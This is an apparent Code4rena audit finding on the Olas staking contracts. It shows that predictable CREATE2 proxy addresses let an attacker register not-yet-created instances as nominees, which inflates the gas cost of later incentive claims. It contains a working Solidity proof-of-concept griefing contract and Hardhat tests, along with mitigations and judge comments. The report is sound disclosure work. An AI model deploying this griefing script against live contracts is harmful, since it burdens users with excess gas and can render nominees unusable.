Adding staking instance as nominee before it is created

[howlbot-integration[bot]]

Lines of code

https://github.com/code-423n4/2024-05-olas/blob/main/governance/contracts/VoteWeighting.sol#L292-L344

Vulnerability details

Impact

It is possible to add a staking instance as a nominee before it is being created. This can lead to a situation that when this instance is going to claim its staking incentives, it should go over all the epochs from the time it was added as nominee to the epoch it was created. This range of epochs is useless for this instance, because no incentives can be assigned to that instance during the epoch it is added as nominee until the epoch it is created. By doing so, the attacker can force users (whoever claim the staking incentives for an instance) to consume much more gas.

Proof of Concept

When creating a proxy staking instance, the address of the to-be-created proxy instance is predictable as follows.

    function getProxyAddressWithNonce(address implementation, uint256 localNonce) public view returns (address) {
        // Get salt based on chain Id and nonce values
        bytes32 salt = keccak256(abi.encodePacked(block.chainid, localNonce));

        // Get the deployment data based on the proxy bytecode and the implementation address
        bytes memory deploymentData = abi.encodePacked(type(StakingProxy).creationCode,
            uint256(uint160(implementation)));

        // Get the hash forming the contract address
        bytes32 hash = keccak256(
            abi.encodePacked(
                bytes1(0xff), address(this), salt, keccak256(deploymentData)
            )
        );

        return address(uint160(uint256(hash)));
    }

https://github.com/code-423n4/2024-05-olas/blob/main/registries/contracts/staking/StakingFactory.sol#L141

It shows that the address is dependent on two dynamic parameters nonce as well as the address of the implementation.

The nonce is incremented by one each time an instance is created, so it can be tracked easily.

The implementation address is assumed to be the address of the contract StakingToken or StakingNativeToken for most instances. In other words, it is more probable that users create the proxy instance based on those default implementations instead of a customized one, and users usually only change the initPayload to create an instance with different configurations. As can be seen in the following code, the address of an instance is independent of initPayload.

    function createStakingInstance(
        address implementation,
        bytes memory initPayload
    ) external returns (address payable instance) {
        //....

        bytes memory deploymentData = abi.encodePacked(type(StakingProxy).creationCode,
        uint256(uint160(implementation)));

        // solhint-disable-next-line no-inline-assembly
        assembly {
            instance := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
        }

        //...
    }

https://github.com/code-423n4/2024-05-olas/blob/main/registries/contracts/staking/StakingFactory.sol#L208

There is an opportunity for the attacker to act maliciously as explained in the following scenario:

• In the early days of the protocol launch, the attacker predicts the address of many instances. As explained above the accuracy of this prediction would be very high because the nonce range is limited, and the implementation address is usually the address of default staking instances StakingToken or StakingNativeToken.

• After that, the attacker adds the predicted addresses as nominee.

  function addNomineeEVM(address account, uint256 chainId) external {
      // ....
      _addNominee(nominee);
  }
  
  function _addNominee(Nominee memory nominee) internal {
      //....
  
       if (localDispenser != address(0)) {
          IDispenser(localDispenser).addNominee(nomineeHash);
      }       
  
      //....
  }

  https://github.com/code-423n4/2024-05-olas/blob/main/governance/contracts/VoteWeighting.sol#L292-L344

• By doing so, when an instance is added as nominee, its mapLastClaimedStakingEpochs is set at the current epoch in the contract Dispenser. Assuming we are in the early days of the protocol launch, for example the current epoch is 2.

   function addNominee(bytes32 nomineeHash) external {
      // Check for the contract ownership
      if (msg.sender != voteWeighting) {
          revert ManagerOnly(msg.sender, voteWeighting);
      }
  
      // Check for the paused state
      Pause currentPause = paused;
      if (currentPause == Pause.StakingIncentivesPaused || currentPause == Pause.AllPaused ||
          ITreasury(treasury).paused() == 2) {
          revert Paused();
      }
  
      mapLastClaimedStakingEpochs[nomineeHash] = ITokenomics(tokenomics).epochCounter();
  }

  https://github.com/code-423n4/2024-05-olas/blob/main/tokenomics/contracts/Dispenser.sol#L745

  • By doing so, many instances are added as nominee and their mapLastClaimedStakingEpochs are set to 2, while they are not yet created in StakingFactory.

  • Suppose, after some time (for example in epoch 100), these instances are created through calling createStakingInstance.

  • After these instances being active and receiving incentives, they are going to claim their incentives by calling the function calculateStakingIncentives. This function invokes the internal function _checkpointNomineeAndGetClaimedEpochCounters to see the range of epochs it should go over.

    function calculateStakingIncentives(
    uint256 numClaimedEpochs,
    uint256 chainId,
    bytes32 stakingTarget,
    uint256 bridgingDecimals
    ) public returns (
    uint256 totalStakingIncentive,
    uint256 totalReturnAmount,
    uint256 lastClaimedEpoch,
    bytes32 nomineeHash
    ) {
    //.....
    (firstClaimedEpoch, lastClaimedEpoch) =
        _checkpointNomineeAndGetClaimedEpochCounters(nomineeHash, numClaimedEpochs);
    //....
    }

    https://github.com/code-423n4/2024-05-olas/blob/main/tokenomics/contracts/Dispenser.sol#L874

  • In this function, it returns firstClaimedEpoch = 2 (the time it was added as nominee by the attacker), and lastClaimedEpoch = 2 + numClaimedEpochs.

    function _checkpointNomineeAndGetClaimedEpochCounters(
    bytes32 nomineeHash,
    uint256 numClaimedEpochs
    ) internal view returns (uint256 firstClaimedEpoch, uint256 lastClaimedEpoch) {
    // .....
    
    // Get the first claimed epoch, which is equal to the last claiming one
    firstClaimedEpoch = mapLastClaimedStakingEpochs[nomineeHash];
    
    // .....
    
    // Get a number of epochs to claim for based on the maximum number of epochs claimed
    lastClaimedEpoch = firstClaimedEpoch + numClaimedEpochs;
    
    // .....
    }

    https://github.com/code-423n4/2024-05-olas/blob/main/tokenomics/contracts/Dispenser.sol#L356

  • The issue is that this instance was added as nominee in epoch 2 (so mapLastClaimedStakingEpochs was set to 2), but it was created at epoch 100. So, from epoch 2 to 100, the instance was not created yet, thus obviously there is no reward to claim during these epochs. But, the for-loop in the function calculateStakingIncentives goes over epoch 2 to 2 + numClaimedEpochs, among that, epoch 2 to 100 are uselss for this instance. If the gap between the time that the instance is added as nominee and the time that it is created is large, it will be a large gas consumption for going over epochs that are useless for that instance.

    function calculateStakingIncentives(
    uint256 numClaimedEpochs,
    uint256 chainId,
    bytes32 stakingTarget,
    uint256 bridgingDecimals
    ) public returns (
    uint256 totalStakingIncentive,
    uint256 totalReturnAmount,
    uint256 lastClaimedEpoch,
    bytes32 nomineeHash
    ) {
    //.....
    for (uint256 j = firstClaimedEpoch; j < lastClaimedEpoch; ++j) {
        //....
    }
    //....
    }

    https://github.com/code-423n4/2024-05-olas/blob/main/tokenomics/contracts/Dispenser.sol#L881

  The following code shows the code that the attacker use to executed the attack by calling the function run. It sets the nonce from 0 to 10000, and predict the address of instances if it is created with implementation of StakingToken or StakingNativeToken. Then the attacker adds these predicted addresses as nominee.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;

interface IStakingFactory {
    function getProxyAddressWithNonce(
        address implementation,
        uint256 localNonce
    ) external view returns (address);
}

interface IVoteWeighting {
    function addNomineeEVM(address account, uint256 chainId) external;
}

contract OlasPoC {
    IStakingFactory iStakingFactory;
    IVoteWeighting iVoteWeighting;
    address public immutable StakingToken;
    address public immutable StakingNativeToken;

    constructor(
        address _stakingFactory,
        address _voteWeighting,
        address _stakingToken,
        address _stakingNativeToken;
    ) {
        iStakingFactory = IStakingFactory(_stakingFactory);
        iVoteWeighting = IVoteWeighting(_voteWeighting);
        StakingToken = _stakingToken;
        StakingNativeToken = _stakingNativeToken;
    }

    function run() public {
        address instance;
        for (uint256 i = 0; i < 10000; i++) {
            // predict the address of the instance with implementation address of **StakingToken** and nonce 0 to 10000
            instance = iStakingFactory.getProxyAddressWithNonce(
                StakingToken,
                i
            );
            // add this instance as nominee
            iVoteWeighting.addNomineeEVM(instance, 1);

            // predict the address of the instance with implementation address of **StakingNativeToken** and nonce 0 to 10000
            instance = iStakingFactory.getProxyAddressWithNonce(
                StakingNativeToken,
                i
            );
            // add this instance as nominee
            iVoteWeighting.addNomineeEVM(instance, 1);
        }
    }
}

Tests

Test1 (Normal case):

In the following test, it is assumed epochLen = 10 days. The nominee is added and voted for at epoch 102, and the function calculateStakingIncentives is called at epoch 103. It shows the gas consumed to call calculateStakingIncentives is equal to 326_733, because it iterates over only one epoch (from 102 to 103).

        it("Normal case", async () => {
            // Take a snapshot of the current state of the blockchain
            const snapshot = await helpers.takeSnapshot();

            // Set staking fraction to 100%
            await tokenomics.changeIncentiveFractions(0, 0, 0, 0, 0, 100);
            // Changing staking parameters
            await tokenomics.changeStakingParams(50, 10);

            // Checkpoint to apply changes
            await helpers.time.increase(epochLen);
            await tokenomics.checkpoint();

            // Unpause the dispenser
            await dispenser.setPauseState(0);

            // Checkpoint to get to the next epochs
            for (let i = 0; i < 100; i++) {
                await helpers.time.increase(epochLen);
                await tokenomics.checkpoint();
            }

            console.log("nominee added at epoch number: ", await tokenomics.epochCounter());

            // Add a staking instance as a nominee
            await vw.addNominee(stakingInstance.address, chainId);

            console.log("nominee is voted at epoch number: ", await tokenomics.epochCounter());

            // Vote for the nominee
            await vw.setNomineeRelativeWeight(stakingInstance.address, chainId, defaultWeight);

            await helpers.time.increase(epochLen);
            await tokenomics.checkpoint();

            const stakingTarget = convertAddressToBytes32(stakingInstance.address);

            console.log("calculateStakingIncentives is called at epoch number: ", await tokenomics.epochCounter());

            console.log("Gas consumed to call the calculateStakingIncentives function: ",
                await dispenser.estimateGas.calculateStakingIncentives(101, chainId, stakingTarget, bridgingDecimals));

            // Calculate staking incentives
            await dispenser.calculateStakingIncentives(101, chainId,
                stakingTarget, bridgingDecimals);

            // Restore to the state of the snapshot
            await snapshot.restore();
        });

The result is:

  DispenserStakingIncentives
    Staking incentives
nominee added at epoch number:  102
nominee is voted at epoch number:  102
calculateStakingIncentives is called at epoch number:  103
Gas consumed to call the calculateStakingIncentives function:  BigNumber { value: "326733" }
      ✓ Normal case

Test2 (Malicious case):

In the following test, it is assumed epochLen = 10 days. The nominee is added at epoch 2 and voted for at epoch 102, and the function calculateStakingIncentives is called at epoch 103. It shows the gas consumed to call calculateStakingIncentives is equal to 1_439_295, because it iterates over 101 epoch (from 2 to 103).

        it("Malicious case", async () => {
            // Take a snapshot of the current state of the blockchain
            const snapshot = await helpers.takeSnapshot();

            // Set staking fraction to 100%
            await tokenomics.changeIncentiveFractions(0, 0, 0, 0, 0, 100);
            // Changing staking parameters
            await tokenomics.changeStakingParams(50, 10);

            // Checkpoint to apply changes
            await helpers.time.increase(epochLen);
            await tokenomics.checkpoint();

            // Unpause the dispenser
            await dispenser.setPauseState(0);

            console.log("nominee added at epoch number: ", await tokenomics.epochCounter());

            // Add a staking instance as a nominee
            await vw.addNominee(stakingInstance.address, chainId);

            // Checkpoint to get to the next epochs
            for (let i = 0; i < 100; i++) {
                await helpers.time.increase(epochLen);
                await tokenomics.checkpoint();
            }

            console.log("nominee is voted at epoch number: ", await tokenomics.epochCounter());

            // Vote for the nominee
            await vw.setNomineeRelativeWeight(stakingInstance.address, chainId, defaultWeight);

            await helpers.time.increase(epochLen);
            await tokenomics.checkpoint();

            const stakingTarget = convertAddressToBytes32(stakingInstance.address);

            console.log("calculateStakingIncentives is called at epoch number: ", await tokenomics.epochCounter());

            console.log("Gas consumed to call the calculateStakingIncentives function: ",
                await dispenser.estimateGas.calculateStakingIncentives(101, chainId, stakingTarget, bridgingDecimals));

            // Calculate staking incentives
            await dispenser.calculateStakingIncentives(101, chainId,
                stakingTarget, bridgingDecimals);

            // Restore to the state of the snapshot
            await snapshot.restore();
        });

The result is:

nominee added at epoch number:  2
nominee is voted at epoch number:  102
calculateStakingIncentives is called at epoch number:  103
Gas consumed to call the calculateStakingIncentives function:  BigNumber { value: "1439295" }
      ✓ Malicious case

Test 1 and 2 show that if a nominee is added long before it is created, calculating the incentives allocated to it will be highly gas consuming because it iterates over many epochs from the epoch it is added to the epoch it is created (which are useless since no incentives are allocated during this range to the nominee). Test 2 shows that the consumed gas is 5x higher than test 1.

Tools Used

Recommended Mitigation Steps

There are two recommendations:

• First: when adding a nominee, it checks that the nominee is created already or not, so a malicious user can not add nominee long before it is created.

  function addNomineeEVM(address account, uint256 chainId) external {
  
      require(IStakingFactory.mapInstanceParams(account).implementation != address(0), " the nominee is not created yet");
  
      // ....
  }

• Second: include the initPayload into the salt, so that the address of the instance would depend on that.

   function createStakingInstance(
      address implementation,
      bytes memory initPayload
  ) external returns (address payable instance) {
      //.....
  
      bytes32 salt = keccak256(abi.encodePacked(block.chainid, localNonce, keccak256(initPayload)));
  
      //.....
  
  }

Assessed type

Context

[kupermind]

The address randomization need is correctly pointed out.

FYI the suggested mitigation 1 is not possible as nominees come from any chain, and there is no way to see if the contract exist on other chains.

[c4-sponsor]

kupermind (sponsor) acknowledged

[c4-judge]

0xA5DF marked the issue as selected for report

[c4-judge]

0xA5DF marked the issue as satisfactory

[0xA5DF]

Requiring more gas would probably be low, but it seems like due to MAX_NUM_WEEKS the nominee would become unusable at some point. Marking as med

[vsharma4394]

Fixed